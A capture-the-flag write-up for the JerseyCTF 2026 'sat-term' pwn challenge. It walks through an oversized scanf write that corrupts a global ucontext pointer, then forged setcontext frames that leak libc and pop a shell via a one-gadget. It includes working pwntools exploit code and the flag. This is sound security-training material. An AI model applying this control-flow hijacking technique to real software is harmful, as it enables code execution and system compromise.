sat-term
JerseyCTF 2026
Wow!! Take a look at this! We just gained access to a terminal managing a satellite up in orbit right now. Do you think the server communicating with that satellite is vulnerable?
nc sat-term.aws.jerseyctf.com 5000
Files:
Solve
1
2
3
4
5
6
7
8
9
10
11
❯ file satterm
satterm: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-linux-x86-64.so.2, BuildID[sha1]=9cfc742d30798da94f2dfaba7b5a14f355a475c6, for GNU/Linux 3.2.0, not stripped
❯ pwn checksec satterm
[*] '~/ctf/jerseyctf/bin/satterm/satterm'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'.'
Stripped: No
I started by decompiling this challenge with Binary Ninja, and immediately what stood out to me was the use of a set of context-related functions (setcontext, makecontext, getcontext). Note the checksec above, which shows that PIE is disabled. The main function is a good example of its use in this binary:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int32_t main(int32_t argc, char** argv, char** envp)
void* fsbase
int64_t rax = *(fsbase + 0x28)
setup()
initialize_operations()
banner()
navdata_handler(1)
if (getcontext(&main_ctx) != 0)
perror(s: "getcontext main")
exit(status: 1)
noreturn
memset(&input, 0, 0x3d0)
while (true)
if (input[0] != 0)
for (int32_t i = 0; i u<= 2; i += 1)
if (strcmp(&input, (&operation_names)[sx.q(i)]) == 0)
printf(format: "COMMAND %s\n", &input, &input)
setcontext(sx.q(i) * 0x3c8 + contexts)
printf(format: "UNKNOWN %s\n", &input, &input)
break
if (feof(fp: stdin) != 0)
puts(str: "EOF")
break
printf(format: "> ")
read(fd: 0, buf: &input, nbytes: 0x3d0)
input[strcspn(&input, "\n")] = 0
*(fsbase + 0x28)
if (rax == *(fsbase + 0x28))
return 0
__stack_chk_fail()
noreturn
There’s a main_ctx pointer that stores a main context, then it asks for a command and runs a setcontext based on the offset from contexts, which is a global variable. In the setup process, it sets up each of these contexts, but what is a context?
Looking up setcontext, we get its man page, which explains a lot more. Basically, you can set up context buffers (ucontext_t) that store a lot of information about the program state during that point of context, which can be seen in the struct definition below. The struct in the man page was wrong, so I had to pull the one from the linux source code for accurate offsets.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
typedef struct ucontext_t
{
unsigned long int __ctx(uc_flags);
struct ucontext_t *uc_link;
stack_t uc_stack;
mcontext_t uc_mcontext;
sigset_t uc_sigmask;
struct _libc_fpstate __fpregs_mem;
__extension__ unsigned long long int __ssp[4];
} ucontext_t;
typedef struct {
mc_gregset_t mc_gregs;
mc_greg_t mc_fp;
mc_greg_t mc_i7;
mc_fpu_t mc_fpregs;
} mcontext_t;
It can link other contexts, set up the list of signals blocked in the context (uc_sigmask), define the stack (uc_stack) and then, the part that we like, define the machine-specific context with mcontext_t. This struct is also shown above (taken from elixir). It contains a couple different things, some of which will be referenced later, but the big one here is mc_gregs, which is the register state. Just like in a SigReturn call, this will also re-populate all of the registers for the program, including $rip. The presence of this as the main control flow operator in this program was fishy, so I figured the exploit would have something to do with that, I just had to track down how.
Outside of initialization, the global variable contexts is only used once and in the main function. It’s also, conveniently, prefaced by the nav_data struct, which we can overwrite with the SETTINGS command. That struct’s state and the operation_settings are shown below, and when you combine the two, the vulnerability is shown.
1
2
3
4
5
6
7
8
9
10
11
12
0x00404460 struct nav_t nav_data =
0x00404460 {
0x00404460 uint64_t apoapsis = 0x0
0x00404468 uint64_t periapsis = 0x0
0x00404470 double orbit_incline = 0
0x00404478 uint32_t sat_safe_mode = 0x0
0x0040447c uint16_t sync_ms = 0x0
0x0040447e }
0x0040447e 00 00 ..
0x00404480 uint64_t contexts = 0x0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int64_t operation_settings()
void* fsbase
int64_t rax = *(fsbase + 0x28)
show_navigation()
printf(format: "CHANGE [Y/N]: ")
char change?
__isoc23_scanf(" %c", &change?, " %c")
if (change? != 'Y')
setcontext(&main_ctx)
printf(format: "APOAPSIS: ")
__isoc23_scanf("%lu", &nav_data, &nav_data)
printf(format: "PERIAPSIS: ")
__isoc23_scanf("%lu", &nav_data.periapsis, &nav_data.periapsis)
printf(format: "ORBIT INCLINE: ")
__isoc23_scanf("%lf", &nav_data.orbit_incline, &nav_data.orbit_incline)
printf(format: "DOWNLINK SYNCHRONIZATION MS: ")
__isoc23_scanf("%lu", &nav_data.sync_ms, &nav_data.sync_ms)
printf(format: "SATELLITE SAFE MODE [Y/N]: ")
bool safe_mode = true
__isoc23_scanf(" %c", &safe_mode, " %c")
nav_data.sat_safe_mode = zx.d(safe_mode == 'Y')
puts(str: "PARAMETERS SET, SENDING NEXT UPLINK")
show_navigation()
navdata_handler(0)
setcontext(&main_ctx)
if (rax == *(fsbase + 0x28))
return rax - *(fsbase + 0x28)
__stack_chk_fail()
noreturn
You can repopulate each field of the struct, all of which are correct EXCEPT the write to nav_data.sync_ms, which is a uint16_t yet can be written with the %lu format specifier, allowing 8-byte writes to that field. This will allow an overwrite of the lower 4 bytes of context, which will effectively let you point it anywhere else in the binary. The input buffer is massive and exists as a static global variable, so that was my first choice and worked great. The trick was just to actually get the return exploit working.
Initally, I had hopes that the flag was just in flag.txt on the system, since I had found a really nice gadget that would let me read any file on the system (just not RCE yet). operation_status runs the below code, reading “satellite.log” and then outputting its contents. If I had full control over the registers and could set $rip to 0x00401394, it would let me call fopen with arbitrary parameters and then read that file to the console.
1
2
3
4
5
6
7
8
9
10
11
12
13
FILE* fp = fopen(filename: "./satellite.log", mode: "r")
while (true)
int32_t c = fgetc(fp)
if (c == 0xffffffff)
break
putchar(c)
fclose(fp)
puts(str: "\n\nREAD SUCCESS")
setcontext(&main_ctx)
I played around with this for a while, but after opening a ticket the organizers basically said that I would never find the flag by just guessing file names (they were right) so I moved on to RCE. Since I had control over all of the registers, PIE was disabled, and I had a copy of the libc file (I patched the binary to set runpath to ‘.’ so that it would automatically use it), it would be pretty easy to do a ret2plt and then ret2system.
First, I set up the overwrite of the context pointer in my solve script so that I could start playing with the setcontext:
1
2
3
4
5
6
7
8
9
10
input_addr = 0x00404080
p.recvuntil(b'> ')
p.sendline(b'SETTINGS')
p.sendlineafter(b'CHANGE [Y/N]: ', b'Y')
p.sendlineafter(b'APOAPSIS: ', b'100')
p.sendlineafter(b'PERIAPSIS: ', b'100')
p.sendlineafter(b'ORBIT INCLINE: ', b'100')
p.sendlineafter(b'DOWNLINK SYNCHRONIZATION MS: ', str(0x41414141 + (input_addr << 32)).encode())
p.sendlineafter(b'SATELLITE SAFE MODE [Y/N]: ', b'N')
Then I had to set up the actual context buffer… luckily, we have source code for this kinda stuff. There is __ctx (8 bytes), uc_link (8 bytes), uc_stack (here, 0x18 bytes), and then our uc_mcontext with registers. It leads with r8+ and then goes to the lower registers, so we have some padding that we can use. Here’s the full first ret2plt stack frame set up.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
new_stack = input_addr + 0x200
# new thing needs to be ret2plt and then ret2system
payload = flat({
# uc_flags / uc_link
0x00: b'STATUS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', # 0x10 bytes
# uc_stack
0x10: p64(new_stack), # ss_sp
0x18: p64(0), # ss_flags - prolly not necessary
0x20: p64(0x800), # ss_size
# gregs from +0x28
0x28: b'flag.txt\x00\x00\x00\x00\x00\x00\x00\x00', # R8, R9
0x38: p64(0) * 6, # R10-R15
0x68: p64(elf.got['puts']), # RDI
0x70: p64(0), # RSI
0x78: p64(new_stack), # RBP
0x80: p64(0), # RBX
0x88: p64(0), # RDX
0x90: p64(0), # RAX
0x98: p64(0), # RCX
0xa0: p64(new_stack-0x20), # RSP
0xa8: p64(elf.plt['puts']),# RIP
# fpstate pointer - to the fp_env_offset
0xe0: p64(input_addr + fp_env_offset),
# just enough to not segfault
fp_env_offset: p32(0x037f) + b'\x00' * 24, # this is dereferenced to reset the fp state...
0x1a0: p64(0x00401b46), # final ret gadget after read...
0x1c0: p32(0x1f80), # default MXCSR
0x1e0: p64(0x00401b46), # ret gadget back to main
0x200: p64(0x00401b46)
},
filler=b'\x00'
)
p.recvuntil(b'> ')
p.recvuntil(b'> ')
p.send(payload)
p.recvline()
leak = p.recv(6).ljust(8, b'\x00')
log.info(f'leaked puts address: {hex(u64(leak))}')
libc.address = u64(leak) - libc.symbols['puts']
log.info(f'libc base: {hex(libc.address)}')
We have to include STATUS at the front to pass the strcmp in main, but it also doesn’t really matter if we set uc_flags and uc_link since those aren’t actually used the way the program does it as far as I can tell. Then, we have our new stack set up in the uc_stack struct, and then all of our registers. I used the higher space of our input object as just stack space so that I could control what was on the stack for future calls, especially the return after our ret2plt had finished.
I had a lot of trouble actually setting this up and had to do a lot of debugging. What you are seeing is the clean version of hours of work. Accordingly, I set up
fpstatein theucontext_tstruct because I was having trouble with the program segfaulting when I didn’t do that. However, I don’t actually thing this was necessary. I was initially runningflat()withoutfilleras an argument, which automatically fills from acyclic()object, meaning all that space was filled with junk that would break stuff instead of neat 0’s. But who knows, maybe it was still necessary after all.
I also had to so some stepping through the program because messing with $rsp meant that when I made subsequent function calls after returning to main, I had to make sure that eventually the return address still worked. The address at 0x1a0 points back to the main function because somewhere during read it was failing so I had to manually jump back there. That allowed the second read to happen which meant I could actually use the leaked address in my second frame:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
payload = flat({
# uc_flags / uc_link
0x00: b'STATUS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', # 0x10 bytes
# uc_stack
0x10: p64(new_stack), # ss_sp
0x18: p64(0), # ss_flags - prolly not necessary
0x20: p64(0x800), # ss_size
# gregs from +0x28
0x28: b'/bin/sh' + b'\x00' * 9, # R8, R9
0x38: p64(0) * 6, # R10-R15
0x68: p64(0), # RDI
0x70: p64(0), # RSI
0x78: p64(new_stack), # RBP
0x80: p64(0), # RBX
0x88: p64(0), # RDX
0x90: p64(0), # RAX
0x98: p64(0), # RCX
0xa0: p64(new_stack-0x20), # RSP
0xa8: p64(libc.address + 0xde6c3),# RIP
# fpstate pointer - to the fp_env_offset
0xe0: p64(input_addr + fp_env_offset),
# just enough to not segfault
fp_env_offset: p32(0x037f) + b'\x00' * 24, # this is dereferenced to reset the fp state...
0x1a0: p64(0x00401bea), # final ret gadget after read...
0x1c0: p32(0x1f80), # default MXCSR
0x1e0: p64(0x00401b46), # ret gadget back to main
0x200: p64(0x00401b46)
},
filler=b'\x00',
word_size=64
)
p.sendline(payload)
I just reused a lot the second time and used a one gadget for the return address. I tried with system() for a while, but that function uses a stack frame of like 0x300 bytes or something which subtracted enough from $rsp that it tried to leave the memory segment and segfaulted. I think those were all the funky things I ran into. It was a pretty neat challenge getting to play with another method of control flow hijacking, I enjoyed it. And it worked great on remote, too! I’ll include my whole solve script, though it’s super unpolished and has a million different comments and stuff.
Flag: jctf{k3rbal_sp4ce_pr0gram_but_m4ke_it_b1nex}